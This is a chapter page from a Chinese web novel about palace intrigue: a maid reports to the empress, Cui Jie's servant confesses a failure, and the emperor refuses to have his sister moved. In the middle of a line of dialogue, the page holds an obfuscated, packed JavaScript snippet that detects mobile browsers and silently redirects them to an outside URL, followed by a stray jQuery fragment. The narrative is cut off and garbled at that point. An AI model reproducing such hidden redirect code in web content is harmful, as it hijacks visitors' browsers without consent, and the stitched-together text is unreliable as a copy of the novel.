南山六十七 作品

26. 赎罪(第2页)

    银杏瞠目结舌,趁无人注意,下意识逃开,抄小路飞奔回坤宁宫,一五一十说明原委。

    王媖百无聊赖,正端着绣活消磨时光,闻知之心尖一颤,手下由之出了闪失,尖利的银针偏离轨迹,刺破食指指腹,血点蔓延,迅速汇聚成豆大的一滴,滚落于已具雏形的绣品上,明显污了一块,前功尽弃。

    “你可瞧仔细了,休得妄言。”

    银杏急得直拍手辩解:“奴婢的眼神再不会出错,明明白白就是陛下和十公主!那三喜和四庆还都背着包袱,竟不晓得要干什么……”

    银杏真不懂,王媖却是不敢猜,可先有太后所托,不得不插手。

    王媖无可奈何一叹息,把针线搁回笸箩,起身说:“帮我稍微打扮打扮,我去乾清宫一趟。”

    东宫的对峙落幕,崔家的纷乱刚上演。

    云澜被吓破了胆,连滚带爬赶至崔家,前后左右一打听,一道寻觅至正堂,见崔介正同崔安商议老夫人的丧葬事宜。

    崔介整个人俱是万里挑一的,眼神亦然,一眼捕捉到鬼鬼祟祟、犹犹豫豫的云澜,精简语言,加快效率议完事,恭送走大伯崔安,招手示意云澜来回话。

    “公子,小人办砸了……

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799966|175083||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    ”

    云澜哭丧着脸,如是这般讲清楚在东宫的前因后果。

    崔介面色铁青,一声不吭,唬得云澜触地,一把鼻涕一把泪地请罪。

    “够了,”崔介说时,眼光转向西北方,那里坐落着皇宫,“备马,我亲自接公主回家。”

    不是东宫那个虎狼窝,而是属于他们彼此的家。

    云澜很是消极,磨蹭着不动:“公子别不爱听,在宫里,谁敢对公主怎么着,倒是您,咱们家眼下可离不开您啊,全等您主持大局呢!您若实在不放心公主,好歹熬过这个节骨眼,不过十来日,您急什么……”

    崔介扶额,重重叹气:“你说得对,是我进退失据了。”

    他顿一顿,继续说:“我不去罢了,但不能坐视不管。你立刻去寻九殿下,拜托他看一看公主,确认她的安危,如果可以,请他将这玉转交公主,并告诉她,我料理完家中的杂事,第一时间去接她。”

    各退一步,云澜答应着去办。

    崔介尽力按下违心的感觉,一头投入焦头烂额的繁忙中。

    薛怀义正端坐暖阁一角处理公务,王媖捧一杯热茶走进来,轻轻放下,温言款语道:“陛下,吃点茶,顺便让眼睛松快松快吧。”

    薛怀义头未抬,依旧挥笔圈点着一本本奏折:“先放着吧,过会再吃。”

    有道是至亲至疏夫妻,可王媖与薛怀义之间,唯有至疏。

    王媖淡淡一笑,坐去他对面,静静看他挥毫弄墨。

    “皇后,”薛怀义顿笔,掀起眼帘瞥她,“想问什么,便问吧。”

    王媖不尴不尬笑笑,字斟句酌道:“十妹妹在东宫宿着挺好,陛下何故接她到乾清宫?”

    “皇后这是在质问朕么?”

    薛怀义平视王媖,面无涟漪,难辨喜怒。

    王媖一时懊悔过于直白,忙澄清:“臣妾不敢,臣妾只是关心则乱,毕竟十妹妹如今这个模样,少走动为妙。”

    薛怀义无意问责,见其态度谦卑,倒沾了些许人情味:“你是好意,朕也是好意。薛柔是朕的妹妹,凭她孤零零在东宫,朕不能顺心,亦辜负了太后旧日对朕的教养之恩。”

    伪装君子,这是薛怀义最拿手的,若不然也无法取信于先帝,那么当今这皇位自然成不了他的囊中之物。

    他的阴暗面,仅对心腹程胜及薛柔展现过。

    前者,拜他所赐得以鲤鱼跃龙门,如想下半生无忧,那必须依附他而活;后者,即日起,会作为他之掌中物,任他摆布,最终了此残生。

    他的措辞面面俱到,王媖若怀有异议,等同于枉顾人伦纲常。

    “那……不妨使十妹妹挪去坤宁宫,她在此生长,住着也习惯。另外,臣妾毕竟不似陛下日无暇晷,臣妾有大把时间照拂她,陛下专心实现凌云之志即可。如此,不失为两全其美。”

    可王媖固执地试图争取一番。

    她已决定彻底了断往昔执念,痛改前非,决意守好皇后的位子,尽职尽责,同皇帝相敬如宾,举案齐眉,那中间横着一个薛柔,又算什么呢。

    薛怀义与薛柔间的爱恨情仇,容不得第三人插足,崔介不行,王媖亦不行。

    “朕意已决,勿再多提。”他态度明确,不容动摇。

    事已至此,王媖且得维护脸面,打住口,表示妥协。